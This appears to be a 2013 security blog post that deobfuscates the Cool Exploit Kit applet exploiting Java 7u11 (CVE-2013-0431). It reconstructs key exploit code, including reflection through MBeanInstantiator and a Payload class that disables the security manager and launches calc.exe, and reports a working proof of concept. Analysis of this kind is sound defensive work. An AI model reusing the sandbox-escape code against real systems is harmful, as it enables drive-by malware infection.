Tuesday, February 26, 2013

Deobfuscating Java 7u11 Exploit from Cool Exploit Kit (CVE-2013-0431)

At the beginning of the past week @EKWatcher has spotted Cool Exploit Kit using Java 7 update 11 vulnerability (CVE-2013-0431).


This vulnerability was already reported by Security Explorations on seclist few days after Oracle issued update 11.

I decided take a look at it. I found a website infected by Cool EK that after a successfull exploitation dropped Reveton into "C:\Documents and Settings\<usarname>\Application Data" folder on Windows XP.

The applet used by Cool EK was named would-blood.jar and once opened with JD-GUI the result was this.


As you can see it's obfuscated, not heavily but obfuscated. The first thing to do when you want to start deobfuscating an applet is to find the init() function which is the "starting point" and cannot be changed. Remember that for serialized applets the starting point is a function called start() instead of init().

The init function is inside hw class.


It's immediately evident that all strings in init() are reversed, for example the first one is txetnoC.lanretni.tpircsavaj.allizom.gro.nus which written backwards will become sun.org.mozilla.javascript.internal.Context. As supposed pah function reverse the string.

The next function called is bug.


Bug function obtains the MBeanInstantiator associated to MBeanServer and calls rue2.


Now through the use of reflection invokes the method findClass which finds and return the specified class (sun.org.mozilla.javascript.internal.Context).

Considering this, we can remove pah function and join bug with rue2 in a new one function called GimmeClass.
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
  {
    Object obj = null;
    JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
    MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
       
    Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
    Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
    return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
  }
Back to init function, at line 76 lot function is executed and since it returns a Method object i suppose that is used to find a method.


As expected its job is to search for a public method in a class, which is equal to the string s passed as parameter. Instead of lot let's call it getMethod that sounds more clear.
private Method getMethod(Class class1, String s, boolean flag)
  {
    try {
      Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
      Method[] amethod1 = amethod;
     
      for (int i = 0; i < amethod1.length; i++) {
        Method method = amethod1[i];
        String s1 = method.getName();
        Class[] aclass = method.getParameterTypes();
        if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
      }
    } catch (Exception localException) {  }
 
    return null;
  }
At line 77 the previous searched method is invoked. Line 78 and 79 do the same thing of previous lines. At line 82 a byte array (abyte0) is instantiated.


This instruction calls two methods, one from getString4Popers class and one from codehex. Let's examine the first one, which is one. After declaring sixteen strings (127 in total) and concatenating each other, it calls another method with the name gouerpyftn from BurkinoGoso class.


All this concatenated strings goes as parameter to gouerpyftn. As you can see from the picture below the value of string str will be the value of the string str1 inside gouerpyftn function. 

Str3 and str4 are garbage because they will never be used. Instruction 13 use reflection to call the method charAt from package java.lang.String.

What the function does is: (I will try to explain through pseudocode)
// encodedString is paramString
encodedStrign = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(- ..."
// keyString is str1 (getString.getKkkk())
keyString = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"

for( i = 0; i < encodedString.length; i++ )
    c = encodedString.charAt(i);
 j = keyString.indexOf( c )
 
 if c is inside keyString
 
  if c is not in the first position 
   give me char from keyString at position j-1
   concatenate to finalString
     else
   give me char from keyString at position keyString.length-1
   concatenate to finalString
 else
  give me char from encodedString at position i
        concatenate to finalString
   
endfor;

return finalString
At the end of this loop str2/finalString will be like this.


Looking at the first eight chars you can clearly understand what kind of string is this, because CAFEBABE is the hexadecimal representation of the header for Java bytecode class files.

But we have a byte array (abyte0), in fact as name could suggest the method decodeH from class codehex converts hexadecimal string into a byte array.

From line 8 to line 19 is again garbage added by the obfuscator so we can remove it. In order to know what code that class contains we have to write it on a file called newfile.class and then try to open with JD-GUI.
But JD-GUI failed to decompile the class file. I wasn't expecting this result, anyway let's open it with Winhex.

This confirm that is a class file. Switching to option text display only you can clearly see what this class is supposed to do.


Scrolling down there is an interesting string.


This means that this class file has been obfuscated with Zelik Klassmater 5.4.5 which was available from March 2011 to June 2011. I don't know if zelik during the obfuscation process fakes his version so i cannot be 100% sure about this. 

Another interesting string is

Now how we proceed ?. Let's try jad which is another java decompiler.


Most of the file has been disassembled successfully but as you can see into the constructor it uses reflection to call a method from a class. Both names are encrypted by a xor function called from a static field during class initialization.


Not good, some methods aren't properly decompiled. Seems that Zelix has been used with aggressive flow obfuscation, maybe this is why jad can't fully decompile it.

Searching on google on how to deobfuscate Zelix Klassmaster files i've found this great post by @robert_c_larsen which explains how to decrypt these strings. The first thing we need to do is to disassembly our obfuscated file with jad in order to obtain only jvm instructions.


Now, all we have to do is interpret these instructions. I will cover most important parts, if you want a full overview i suggest you to read Robert's post. The picture below means that a string is pushed onto the stack and then it goes to the decrypting subroutine.


The decrypting subroutine starts at instruction 132 by splitting the given string into a char array.


Next, an array of five elements is stored and from instruction 184 to 204 five integers (which are the keys) are pushed onto the stack and then a xor operation is performed.


Knowing this we can rebuild the code.

For some strange reason syntax highlighter doesn't allow me to paste here this code, i will investigate.

Link to pastebin

Run it and voilĂ , all strings are decrypted.

I've renamed javaRun to Payload
public class Payload implements PrivilegedExceptionAction
{
   
    public Payload()
    {
        try
        {  
            Class.forName("java.security.AccessController").getMethod("doPrivileged", new Class[] { Class.forName("java.security.PrivilegedExceptionAction")
            }).invoke(Class.forName("java.security.AccessController"), new Object[] {
                this
            });
             
        }
        catch(Exception exception) { }
    }
 
    public Object run() throws Exception
    {
        System.setSecurityManager(null);
        return null;
    }
 
    public static void outSandbox() throws Exception
    {
        Runtime.getRuntime().exec("calc.exe");
    }
}
Instead of running the calculator into the run function i chose to create another function called outSandox to make it more clear.

Back to init() instruction at line 84,85,86 call the same methods that we have already viewed. Instruction 89 return a string, apparently is the path of the jar. Instruction 90 and 91 call the construction from Payload class and instantiate it. 

I've modified a bit the code from the original version.

  Java 7u11 Exploit Source Code

Now we have finished so let's test it out.

It works!. This PoC can be improved, but i leave it as it is. Instead of deobfuscating this applet Kafeine told me that there were some without obfuscation. The only thing i can say is bad luck for me.

Hope you enjoyed.

If you want to read an analysis of this vulnerability here it is a post by Juan Vazquez from Rapid7.

Reference:

5 comments:

  1. Nice analyze! Thank you.

    ReplyDelete
  2. Nice Work!

    Especially thanks for the Zelix hint. Brought to an end on my own alysis
    here

    @malforsec

    ReplyDelete
  3. Hmm, good job! This is really something!

    ReplyDelete